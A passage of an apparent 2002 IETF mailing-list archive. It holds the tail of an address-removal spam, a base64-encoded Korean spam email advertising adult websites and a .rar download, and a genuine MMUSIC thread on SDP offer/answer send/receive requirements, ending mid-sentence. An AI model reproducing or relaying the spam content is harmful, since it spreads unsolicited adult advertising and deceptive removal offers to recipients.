and we must delete these older or alias addresses from our list in order to stop mail from reaching your current address. We apologize for any inconvenience and appreciate your continued patience and
cooperation.Your address is Opt in under G law.
<p> If you require I will send you $ 6 + apologies having your address.
<p><a href="mailto:remove@eif.net">remove@eif.net</a>
</html>	

From confctrl-owner  Wed Jan  2 23:16:24 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA13074
	for confctrl-outgoing; Wed, 2 Jan 2002 23:16:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA13069
	for <confctrl@zephyr.isi.edu>; Wed, 2 Jan 2002 23:16:23 -0800 (PST)
Received: from inko ([61.74.125.72])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id g037HGg27217
	for <confctrl@isi.edu>; Wed, 2 Jan 2002 23:17:17 -0800 (PST)
Message-Id: <200201030717.g037HGg27217@tnt.isi.edu>
From: =?ks_c_5601-1987?B?x+7FuMDM?= <asdfsd-dd@hotmail.com>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W7GksO1dIMfuxbjAzCDDtbG5?=
Date: Thu, 03 Jan 2002 16:18:43 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0167_01C0F03A.93A18C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0167_01C0F03A.93A18C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

wPrI8SC288DMuuoxMFRWwMcgwNq2+yAgIA0KDQogICAgICAgICAgICAgDQogDQogucy9usTa
uK6+xiDF9b3DxKu43rbzILvnwfggw9EgMTDA5SDA/MO8IA0KvvOxvLW1IMDMu9rB9ri4IMH4
wqUguPa4xbW1IMHXwMy0wrG6v+QuDQoNClu02b/ut8615V0NCiAgIA0KDQpbs+uz67mrtvMg
urS/+F0NCi29usHusr8gtqe5rr+hILTZuK64piC02cShsNQgtce+7g0KIL/sv6zI9yCz67Pr
uau28yC6tL/4v6EgwNS/+MfRIMHWwM4NCrD4wLogv/jA5cDHIMHXwL2w+iDAzCC6tL/4wMcg
utDAp7HiDQq/obytILz2u/PH1MC7ILTAsrggvPa757imIL3DDQogIFu02b/ut8615V0NCiAg
ICANCiANCiAgDQpHLnRhc3RlDQoNCi3G8rn8x9Egv6m8usDMILvsvsawobTCILy6wPu60ri4
wLsguK6+88fPsNQgx66+7rChtMKzu7/rDQrDtrrAv6EguMW03rfBvK0gu+fFuLG4tM+4pg0K
ua7B9rijtMIgwOW46Q0KKDLG7SCw6LzTDQpbtNm/7rfOteVdDQogICANCiANCiAgDQpbufbF
zcfDtvPAzF0NCg0KLbOquvGwoSDAzrCjwLi3ziC6r73Fx8+45yANCr+pvLq16cC7IMCvyKTH
z7jnILy9vbq/oQ0KIMHftbbHz7DUIMfPtMK1pS4uDQooMsbtILDovNMpDQoNClu02b/ut861
5V0NCiAgICAgICAgIA0KIA0K

------=_NextPart_000_0167_01C0F03A.93A18C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250
ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIj4NCjx0aXRsZT7A+sjxILbzwMy66jEw
VFbAxyDA2rb7IDwvdGl0bGU+DQo8bWV0YSBuYW1lPSJnZW5lcmF0b3IiIGNvbnRlbnQ9Ik5h
bW8gV2ViRWRpdG9yIHY1LjAiPg0KPC9oZWFkPg0KDQo8Ym9keSBiZ2NvbG9yPSJ3aGl0ZSIg
dGV4dD0iYmxhY2siIGxpbms9ImJsdWUiIHZsaW5rPSJwdXJwbGUiIGFsaW5rPSJyZWQiPg0K
PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSI2NTYiIGJvcmRlcmNv
bG9yPSIjQzA3ODEyIiBib3JkZXJjb2xvcmRhcms9IndoaXRlIiBib3JkZXJjb2xvcmxpZ2h0
PSIjQjY3MTBDIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZCB3aWR0aD0iNjU2Ij48UD48SU1H
IGhlaWdodD02NSBzcmM9Imh0dHA6Ly9saXZlMTB0di5jb20vc3VicGFnZS9tb3ZpZS9oZW50
YWkvaW1nL2h0b3AyLmdpZiIgd2lkdGg9IjY1MiIgYm9yZGVyPTA+PC9QPjwvdGQ+DQogICAg
PC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZCB3aWR0aD0iNjU2IiBoZWlnaHQ9IjU0Ij4N
CiAgICAgICAgICAgIDx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3Bh
Y2luZz0iMCIgd2lkdGg9IjY1MiI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAg
ICAgICAgICAgICA8dGQgd2lkdGg9IjY1MiIgaGVpZ2h0PSI4IiBjb2xzcGFuPSI0IiBiZ2Nv
bG9yPSJibGFjayI+DQogICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAg
ICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8dHI+
DQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOTciIHZhbGlnbj0idG9wIj4NCiAg
ICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6
Ly93d3cubGl2ZTEwdHYuY29tL2luZGV4LmFzcD9JRD03MDM3MDkxIj48SU1HIA0Kc3JjPSJo
dHRwOi8vd3d3LmtvcmVhbmdpcmxzLmNjL2ltYWdlcy9tYWluL21pc3Nfa29yZWEuZ2lmIiA+
PC9hPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjIwIiB2YWxpZ249
InRvcCI+PFA+PEEgaHJlZj0ic3VicGFnZS9saXZlL2xpdmUuaHRtIj4mbmJzcDs8L0E+PElN
RyBoZWlnaHQ9MzAgc3JjPSJodHRwOi8vbGl2ZTEwdHYuY29tL2ltZy9saXZlMTB0di5naWYi
IA0Kd2lkdGg9MTk1IGJvcmRlcj0wPjxicj4gPEZPTlQgZmFjZT0itbi/8iIgY29sb3I9IiNG
QjRBMDUiPjxCPrnMvbrE2riuvsYgxfW9w8SruN628zwvQj4gPC9mb250PjxGT05UIGNvbG9y
PSNmZmZmZmYgc2l6ZT0iMiIgZmFjZT0itbi/8iI+u+fB+CDD0SAxMMDlIMD8w7wgPEJSPjxG
T05UIGNvbG9yPSM5ODAwMDA+vvOxvLW1IMDMu9rB9ri4IMH4wqUguPa4xbW1IA0KwdfAzLTC
sbq/5C48L0ZPTlQ+PEJSPjxCUj48L0ZPTlQ+PEEgDQpocmVmPSJtZW1iZXJzL21pc3Nrb3Jl
YS1qcGcvbWlzc2tvcmVhLWpwZy5yYXIiPjxGT05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIy
IiBmYWNlPSK1uL/yIj5bPC9GT05UPjwvQT48QSANCmhyZWY9Imh0dHA6Ly93d3cubGl2ZTEw
dHYuY29tL2luZGV4LmFzcD9JRD03MDM3MDkxIj48Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6
ZT0iMiIgZmFjZT0itbi/8iI+tNm/7rfOteU8L0ZPTlQ+PC9BPjxBIA0KaHJlZj0ibWVtYmVy
cy9taXNza29yZWEtanBnL21pc3Nrb3JlYS1qcGcucmFyIj48Rk9OVCANCmNvbG9yPSJibGFj
ayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+XTwvRk9OVD48L0E+PC9QPjwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOTkiIHZhbGlnbj0idG9wIj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cubGl2
ZTEwdHYuY29tL2luZGV4LmFzcD9JRD03MDM3MDkxIj48SU1HIGhlaWdodD0iMTI0IiBzcmM9
Imh0dHA6Ly93d3cua29yZWFuZ2lybHMuY2MvaW1hZ2VzL2phcGVuX3BpY3R1cmUvaW1hZ2Vz
L25vbm11cmEuZ2lmIiB3aWR0aD04NCA+PC9hPjwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDx0ZCB3aWR0aD0iMjM2IiB2YWxpZ249InRvcCI+PFA+PElNRyANCmhlaWdodD0zMCBzcmM9
Imh0dHA6Ly9saXZlMTB0di5jb20vaW1nL3ByZXZpZXd0b3AuZ2lmIiB3aWR0aD0xOTUgYm9y
ZGVyPTA+PGJyPjxGT05UIGNvbG9yPSIjRkI0QTA1Ij48Qj5bs+uz67mrtvMgurS/+F08L0I+
PEJSPjwvRk9OVD48Rk9OVCBjb2xvcj0iIzk4MDAwMCIgc2l6ZT0iMiI+Lb26we6yvyC2p7mu
v6EgtNm4rrimILTZxKGw1CC1x77uPGJyPiC/7L+syPcgs+uz67mrtvMgurS/+L+hIMDUv/jH
0SDB1sDOPGJyPrD4wLogPEI+v/jA5cDHIA0KwdfAvTwvQj6w+iDAzCC6tL/4wMcgutDAp7Hi
PGJyPr+hvK0gvPa788fUwLsgtMCyuCC89rvnuKYgPC9GT05UPjxGT05UIGNvbG9yPSNmZmZm
ZmY+vcM8YnI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPC9GT05UPjxBIA0KaHJlZj0i
bWVtYmVycy9taXNza29yZWEtanBnL21pc3Nrb3JlYS1qcGcucmFyIj48Rk9OVCANCmNvbG9y
PSJibGFjayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+WzwvRk9OVD48L0E+PEEgDQpocmVmPSJo
dHRwOi8vd3d3LmxpdmUxMHR2LmNvbS9pbmRleC5hc3A/SUQ9NzAzNzA5MSI+PEZPTlQgDQpj
b2xvcj0iYmxhY2siIHNpemU9IjIiIGZhY2U9IrW4v/IiPrTZv+63zrXlPC9GT05UPjwvQT48
QSANCmhyZWY9Im1lbWJlcnMvbWlzc2tvcmVhLWpwZy9taXNza29yZWEtanBnLnJhciI+PEZP
TlQgDQpjb2xvcj0iYmxhY2siIHNpemU9IjIiIGZhY2U9IrW4v/IiPl08L0ZPTlQ+PC9BPjwv
UD48L3RkPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPHRyPg0K
ICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijk3IiBoZWlnaHQ9IjE0NCI+DQogICAg
ICAgICAgICAgICAgICAgICAgICA8cD4mbmJzcDs8YSBocmVmPSJodHRwOi8vd3d3LmxpdmUx
MHR2LmNvbS9pbmRleC5hc3A/SUQ9NzAzNzA5MSI+PElNRyBoZWlnaHQ9IjEyNCIgc3JjPSJo
dHRwOi8vd3d3LmtvcmVhbmdpcmxzLmNjL2ltYWdlcy9qYXBlbl9waWN0dXJlL2ltYWdlcy9n
YXN0ZS5naWYiIHdpZHRoPTg0PjwvYT48L3A+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+
DQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjIwIiBoZWlnaHQ9IjE0NCI+DQoN
CjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjIyMiIgYm9yZGVy
PTA+DQo8VEJPRFk+DQo8VFI+PFREIHdpZHRoPSI1Ij48L1REPg0KPFREIGNsYXNzPW1haW5f
dGkwMSB2QWxpZ249dG9wIGFsaWduPWxlZnQgd2lkdGg9IjIxNyIgaGVpZ2h0PTEzMD4NCjxQ
PjxGT05UIGNvbG9yPSIjRkI0QTA1Ij48Qj5HLnRhc3RlPC9CPjwvRk9OVD48Rk9OVCBjb2xv
cj0iIzk4MDAwMCI+PEJSPjxCUj48L0ZPTlQ+PEZPTlQgY29sb3I9IiM5ODAwMDAiIHNpemU9
IjIiIGZhY2U9IrW4v/IiPi3G8rn8x9Egv6m8usDMILvsvsawobTCIA0KvLrA+7rSuLjAuyC4
rr7zx8+w1CDHrr7usKG0wrO7v+s8QlI+w7a6wL+hILjFtN63wbytILvnxbixuLTPuKY8QlI+
ua7B9rijtMIgwOW46TwvRk9OVD48Rk9OVCBjb2xvcj0jZmZmZmZmIHNpemU9IjIiPjxCUj4o
MsbtILDovNM8YnI+PC9GT05UPjxBIA0KaHJlZj0ibWVtYmVycy9taXNza29yZWEtanBnL21p
c3Nrb3JlYS1qcGcucmFyIj48Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6ZT0iMiIgZmFjZT0i
tbi/8iI+WzwvRk9OVD48L0E+PEEgDQpocmVmPSJodHRwOi8vd3d3LmxpdmUxMHR2LmNvbS9p
bmRleC5hc3A/SUQ9NzAzNzA5MSI+PEZPTlQgDQpjb2xvcj0iYmxhY2siIHNpemU9IjIiIGZh
Y2U9IrW4v/IiPrTZv+63zrXlPC9GT05UPjwvQT48QSANCmhyZWY9Im1lbWJlcnMvbWlzc2tv
cmVhLWpwZy9taXNza29yZWEtanBnLnJhciI+PEZPTlQgDQpjb2xvcj0iYmxhY2siIHNpemU9
IjIiIGZhY2U9IrW4v/IiPl08L0ZPTlQ+PC9BPjwvUD48L1REPjwvVFI+DQo8L1RCT0RZPjwv
VEFCTEU+ICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9Ijk5IiBoZWlnaHQ9IjE0NCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8
cD4mbmJzcDs8YSBocmVmPSJodHRwOi8vd3d3LmxpdmUxMHR2LmNvbS9pbmRleC5hc3A/SUQ9
NzAzNzA5MSI+PElNRyBoZWlnaHQ9IjEyNCIgc3JjPSJodHRwOi8vd3d3LmtvcmVhbmdpcmxz
LmNjL2ltYWdlcy9qYXBlbl9waWN0dXJlL2ltYWdlcy9idXR0ZXJmbHkuZ2lmIiB3aWR0aD04
ND48L2E+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAg
ICAgICA8dGQgd2lkdGg9IjIzNiIgaGVpZ2h0PSIxNDQiPg0KDQo8VEFCTEUgY2VsbFNwYWNp
bmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIyMDEiIGJvcmRlcj0wPg0KPFRCT0RZPg0KPFRS
PjxURCBjbGFzcz1tYWluX3RpMDEgdkFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPSIxODQi
IGhlaWdodD0xMzA+PFA+PEZPTlQgY29sb3I9IiNGQjRBMDUiPjxCPlu59sXNx8O288DMXTwv
Qj48QlI+PEJSPjwvRk9OVD48Rk9OVCBjb2xvcj0iIzk4MDAwMCIgc2l6ZT0iMiI+LbOquvGw
oSDAzrCjwLi3ziC6r73Fx8+45yA8YnI+v6m8urXpwLsgwK/IpMfPuOcgDQq8vb26v6E8YnI+
IMHftbbHz7DUIMfPtMK1pS4uPEJSPigyxu0gsOi80yk8YnI+PGJyPjwvRk9OVD48QSANCmhy
ZWY9Im1lbWJlcnMvbWlzc2tvcmVhLWpwZy9taXNza29yZWEtanBnLnJhciI+PEZPTlQgDQpj
b2xvcj0iYmxhY2siIHNpemU9IjIiIGZhY2U9IrW4v/IiPls8L0ZPTlQ+PC9BPjxBIA0KaHJl
Zj0iaHR0cDovL3d3dy5saXZlMTB0di5jb20vaW5kZXguYXNwP0lEPTcwMzcwOTEiPjxGT05U
IA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj602b/ut8615TwvRk9OVD48
L0E+PEEgDQpocmVmPSJtZW1iZXJzL21pc3Nrb3JlYS1qcGcvbWlzc2tvcmVhLWpwZy5yYXIi
PjxGT05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj5dPC9GT05UPjwv
QT48L1A+PC9URD48L1RSPg0KPC9UQk9EWT48L1RBQkxFPiAgICAgICAgICAgICAgICAgICAg
PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAg
ICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2NTIiIGNvbHNwYW49IjQiPg0KICAgICAg
ICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PEEgDQpocmVmPSJodHRwOi8v
d3d3LmtvcmVhbi1naXJscy5jb20vdG9wc2l0ZXMvY2dpLWJpbi9pbi5jZ2k/aWQ9a21hc3Rl
cjIiIA0KdGFyZ2V0PV9ibGFuaz48SU1HIGhlaWdodD02MCBzcmM9Imh0dHA6Ly93d3cua29y
ZWFuZ2lybHMuY2MvaW1hZ2VzL3BhcnRlci1iYW5uZXJzL2tvcmVhbi1naXJsczAxLmdpZiIg
DQp3aWR0aD00NjggYm9yZGVyPTA+PC9BPiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC90
ZD4NCiAgICA8L3RyPg0KPC90YWJsZT4NCjxwPiZuYnNwOzwvcD4NCjwvYm9keT4NCg0KPC9o
dG1sPg0K

------=_NextPart_000_0167_01C0F03A.93A18C00--


From confctrl-owner  Thu Jan  3 03:19:21 2002
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA22383
	for confctrl-outgoing; Thu, 3 Jan 2002 03:19:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA22378
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jan 2002 03:19:18 -0800 (PST)
Received: from hoemail2.firewall.lucent.com (hoemail2.lucent.com [192.11.226.163])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g03BKCg05122
	for <confctrl@isi.edu>; Thu, 3 Jan 2002 03:20:12 -0800 (PST)
Received: from uk0006exch001h.wins.lucent.com (h135-86-160-150.lucent.com [135.86.160.150])
	by hoemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id g03BK5d17319
	for <confctrl@isi.edu>; Thu, 3 Jan 2002 06:20:06 -0500 (EST)
Received: by uk0006exch001h.uk.lucent.com with Internet Mail Service (5.5.2650.21)
	id <ZVJGLF0C>; Thu, 3 Jan 2002 11:20:05 -0000
Message-ID: <475FF955A05DD411980D00508B6D5FB001AC3523@en0033exch001u.uk.lucent.com>
From: "Drage, Keith (Keith)" <drage@lucent.com>
To: Flemming Andreasen <fandreas@cisco.com>,
        "'Paul Kyzivat'"
	 <pkyzivat@cisco.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: RE: [MMUSIC] Re: resolving open issues in offer/answer
Date: Thu, 3 Jan 2002 11:19:56 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a null argument for not having the requirement.

As specified, it is a perfectly accepted normative requirement. As regards
conformance, it cannot be tested with a single point of control and
observation. Conformance could however be determined with an additional
point of control and observation between the application process and the SDP
process. Conformance testers don't like this, because it is rarely provided
as an accessible interface in implementations, but testing standards do
acknowledge the existence of such a testing model.

Lets concentrate on whether it is a reasonable requirement in the first
place.

Keith

Keith Drage
Lucent Technologies
Tel: +44 1793 776249
Email: drage@lucent.com

> ----------
> From: 	Paul Kyzivat[SMTP:pkyzivat@cisco.com]
> Sent: 	21 December 2001 13:55
> To: 	Flemming Andreasen
> Cc: 	Jonathan Rosenberg; mmusic@ietf.org; confctrl@isi.edu
> Subject: 	Re: [MMUSIC] Re: resolving open issues in offer/answer
> 
> Sorry, but I still don't get it.
> 
> Let me put it another way. This is adding normative language requiring
> the sender of SDP to be prepared to send. How would that be verified? Is
> there any possible way to distinguish between being unprepared to send
> (nonconforming) and simply having no desire to send (conforming)?
> 
> 	Paul
> 
> Flemming Andreasen wrote:
> > 
> > Paul Kyzivat wrote:
> > 
> > > Comments below - Paul
> > >
> > > Jonathan Rosenberg wrote:
> > > >
> > > > Folks,
> > > >
> > > > I want to try and move swiftly towards closure of the open issues in
> > > > offer/answer. I presented slides at IETF 52 on these issues, which
> you
> > > > can pick up from:
> > >
> > > > ISSUE 2: Be prepared to send&recv on bidirectional stream when you
> send
> > > > the SDP. Consensus to update text to indicate that you need to be
> > > > prepared to both send and receive.
> > >
> > > I don't understand the point in requiring someone to be prepared to
> > > send.
> > >
> > 
> > There were two issues here. First one was that we always want codecs
> listed on
> > a bi-directional stream to indicate a send and receive capability.
> Second one
> > was, that even if you have only sent an initial offer, and not yet
> gotten a
> > response, it is possible to send media when using connection-oriented
> media
> > streams if the connection is established before you get the answer. In
> that
> > case, you need to be prepared to both send and receive at the time of
> the
> > offer.
> 
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic
> 

From confctrl-owner  Thu Jan  3 06:21:59 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA29353
	for confctrl-outgoing; Thu, 3 Jan 2002 06:21:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29348
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jan 2002 06:21:58 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g03EMqg06265
	for <confctrl@isi.edu>; Thu, 3 Jan 2002 06:22:52 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id g03EMtL22862;
	Thu, 3 Jan 2002 09:22:55 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH60302 (AUTH pkyzivat);
	Thu, 3 Jan 2002 09:24:08 -0500 (EST)
Message-ID: <3C346832.AD401318@cisco.com>
Date: Thu, 03 Jan 2002 09:18:26 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Drage, Keith (Keith)" <drage@lucent.com>
CC: Flemming Andreasen <fandreas@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <475FF955A05DD411980D00508B6D5FB001AC3523@en0033exch001u.uk.lucent.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

OK. I will shut up. The requirement seems silly to me, but if others
want to believe it is meaningful then it does little harm to leave it.

	Paul

"Drage, Keith (Keith)" wrote:
> 
> This is a null argument for not having the requirement.
> 
> As specified, it is a perfectly accepted normative requirement. As regards
> conformance, it cannot be tested with a single point of control and
> observation. Conformance could however be determined with an additional
> point of control and observation between the application process and the SDP
> process. Conformance testers don't like this, because it is rarely provided
> as an accessible interface in implementations, but testing standards do
> acknowledge the existence of such a testing model.
> 
> Lets concentrate on whether it is a reasonable requirement in the first
> place.
> 
> Keith
> 
> Keith Drage
> Lucent Technologies
> Tel: +44 1793 776249
> Email: drage@lucent.com
> 
> > ----------
> > From:         Paul Kyzivat[SMTP:pkyzivat@cisco.com]
> > Sent:         21 December 2001 13:55
> > To:   Flemming Andreasen
> > Cc:   Jonathan Rosenberg; mmusic@ietf.org; confctrl@isi.edu
> > Subject:      Re: [MMUSIC] Re: resolving open issues in offer/answer
> >
> > Sorry, but I still don't get it.
> >
> > Let me put it another way. This is adding normative language requiring
> > the sender of SDP to be prepared to send. How would that be verified? Is
> > there any possible way to distinguish between being unprepared to send
> > (nonconforming) and simply having no desire to send (conforming)?
> >
> >       Paul
> >
> > Flemming Andreasen wrote:
> > >
> > > Paul Kyzivat wrote:
> > >
> > > > Comments below - Paul
> > > >
> > > > Jonathan Rosenberg wrote:
> > > > >
> > > > > Folks,
> > > > >
> > > > > I want to try and move swiftly towards closure of the open issues in
> > > > > offer/answer. I presented slides at IETF 52 on these issues, which
> > you
> > > > > can pick up from:
> > > >
> > > > > ISSUE 2: Be prepared to send&recv on bidirectional stream when you
> > send
> > > > > the SDP. Consensus to update text to indicate that you need to be
> > > > > prepared to both send and receive.
> > > >
> > > > I don't understand the point in requiring someone to be prepared to
> > > > send.
> > > >
> > >
> > > There were two issues here. First one was that we always want codecs
> > listed on
> > > a bi-directional stream to indicate a send and receive capability.
> > Second one
> > > was, that even if you have only sent an initial offer, and not yet
> > gotten a
> > > response, it is possible to send media when using connection-oriented
> > media
> > > streams if the connection is established before you get the answer. In
> > that
> > > case, you need to be prepared to both send and receive at the time of
> > the
> > > offer.
> >
> > _______________________________________________
> > mmusic mailing list
> > mmusic@ietf.org
> > https://www1.ietf.org/mailman/listinfo/mmusic
> >

From confctrl-owner  Thu Jan  3 18:41:52 2002
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA28934
	for confctrl-outgoing; Thu, 3 Jan 2002 18:41:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA28929
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jan 2002 18:41:51 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g042gjg03618;
	Thu, 3 Jan 2002 18:42:45 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16420;
	Thu, 3 Jan 2002 21:42:41 -0500 (EST)
Message-Id: <200201040242.VAA16420@ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>, Internet Architecture Board <iab@ISI.EDU>,
        confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
Subject: Document Action: A Message Bus for Local Coordiantion to
	 Informational
Date: Thu, 03 Jan 2002 21:42:40 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft 'A Message Bus for Local
Coordiantion' <draft-ietf-mmusic-mbus-transport-06.txt> as a
Informational.  This document is the product of the Multiparty
Multimedia Session Control Working Group.  The IESG contact persons
are Allison Mankin and Scott Bradner.

From confctrl-owner  Fri Jan  4 09:31:48 2002
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA21739
	for confctrl-outgoing; Fri, 4 Jan 2002 09:31:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA21734
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 09:31:46 -0800 (PST)
Received: from nisser.cisco.com (nisser.cisco.com [171.71.176.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04HWfg01425
	for <confctrl@ISI.EDU>; Fri, 4 Jan 2002 09:32:41 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA19219; Fri, 4 Jan 2002 09:31:54 -0800 (PST)
Message-ID: <3C35E72D.7A9D3FB6@cisco.com>
Date: Fri, 04 Jan 2002 12:32:29 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <3C2342E1.83EB1CFD@cisco.com> <3C27AC61.5010909@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Flemming Andreasen wrote:
>
> >
> > Paul Kyzivat wrote:
> >
> >
> >>Sorry, but I still don't get it.
> >>
> >>Let me put it another way. This is adding normative language requiring
> >>the sender of SDP to be prepared to send. How would that be verified?
> >>
> > Is
> >
> >>there any possible way to distinguish between being unprepared to send
> >>(nonconforming) and simply having no desire to send (conforming)?
> >>
> >
> > No, but it ensures, that if the answerer picks any one of those codecs,
> > then the
> > offerer will actually be able to send, should he so desire.
>
> I think what you are looking for is a sentence that says:
>
> When the offerer receives the answerer, it MAY send media on that stream
> (assuming it is listed as sendrecv or recvonly in the answer). It SHOULD
> use the first media format listed in the answer when it does send.
>

Not really :-)

>
> I will add that. I agree with Paul that saying you MUST be prepared to
> send when you generate an offer is pointless, since it can't actually
> send, and therefore there is no way to actually verify this requirement.

I'm obviously doing a poor job of expressing myself clearly, however I
